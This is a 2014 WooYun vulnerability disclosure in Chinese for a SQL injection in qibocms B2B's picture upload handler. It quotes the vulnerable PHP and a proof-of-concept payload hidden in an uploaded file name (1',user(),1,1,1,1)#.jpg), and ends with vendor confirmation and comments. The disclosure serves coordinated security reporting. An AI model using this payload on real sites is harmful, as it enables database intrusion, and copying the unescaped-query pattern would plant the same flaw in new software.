当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065845

漏洞标题：qibocms B2b 某隐蔽SQL注入漏洞

相关厂商：齐博CMS

漏洞作者： ′雨。

提交时间：2014-06-23 11:08

修复时间：2014-09-21 11:10

公开时间：2014-09-21 11:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-23： 细节已通知厂商并且等待厂商处理中
2014-06-24： 厂商已经确认，细节仅向厂商公开
2014-06-27： 细节向第三方安全合作伙伴开放
2014-08-18： 细节向核心白帽子及相关领域专家公开
2014-08-28： 细节向普通白帽子公开
2014-09-07： 细节向实习白帽子公开
2014-09-21： 细节向公众公开

简要描述：

过滤不严。

详细说明：

在qibob2b/hy/member/homepage_ctrl/pic_upload_save.php中

$array[name]=is_array($postfile)?$_FILES[postfile][name]:$postfile_name;
		$title=$title?$title:$array[name];
		$myname_str=explode(".",strtolower($array[name]));
		$myname=$myname_str[(count($myname_str)-1)];
		if(!in_array($myname,array('gif','jpg'))) $msg="{$array[name]}图片只能是gif或者jpg的格式";		
		$array[path]="$webdb[updir]/homepage/pic/".ceil($uid/1000)."/$uid";//商家图片另存
		$array[size]=is_array($postfile)?$_FILES[postfile][size]:$postfile_size;
		$webdb[company_uploadsize_max]=$webdb[company_uploadsize_max]?$webdb[company_uploadsize_max]:100;
		//if($array[size]>$webdb[company_uploadsize_max]*1024)	$msg="{$array[name]}图片超过最大{$webdb[company_uploadsize_max]}K限制";
		
		if($msg==''){
			$picurl=upfile(is_array($postfile)?$_FILES[postfile][tmp_name]:$postfile,$array);
			//供应或求购生成缩略图
			
			if($picurl){
					
				$Newpicpath=ROOT_PATH."$array[path]/{$picurl}.gif";
				gdpic(ROOT_PATH."$array[path]/$picurl",$Newpicpath,120,120);
				if(!file_exists($Newpicpath)){
					copy(ROOT_PATH."$array[path]/{$picurl}",$Newpicpath);
				}
				$picurl="homepage/pic/".ceil($uid/1000)."/$uid/$picurl";
				$msg="{$array[name]}上传成功";
				$title=get_word($title,32);
				$db->query("INSERT INTO `{$_pre}pic` ( `pid` , `psid` , `uid` , `username` ,  `title` , `url` , `level` , `yz` , `posttime` , `isfm` , `orderlist`  ) VALUES ('', '$psid', '$uid', '$lfjid', '$title', '$picurl', '0', '{$webdb[auto_us


跟之前发的黄页系统那注入差不多。
$_FILES的不会被转义 造成了注入。

漏洞证明：

1.jpg


构造下 1',user(),1,1,1,1)#.jpg

q2.jpg


出数据。

修复方案：

addslashes

版权声明：转载请注明来源 ′雨。@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-06-24 11:08

厂商回复：

感谢提出来！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-23 11:09 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    隐藏的都让你翻出来了……隐身符过期了么？

  2. 2014-06-23 11:17 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    你个骗纸

  3. 2014-06-23 13:55 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @mramydnei 我觉得不隐蔽啊， 管理改的名字。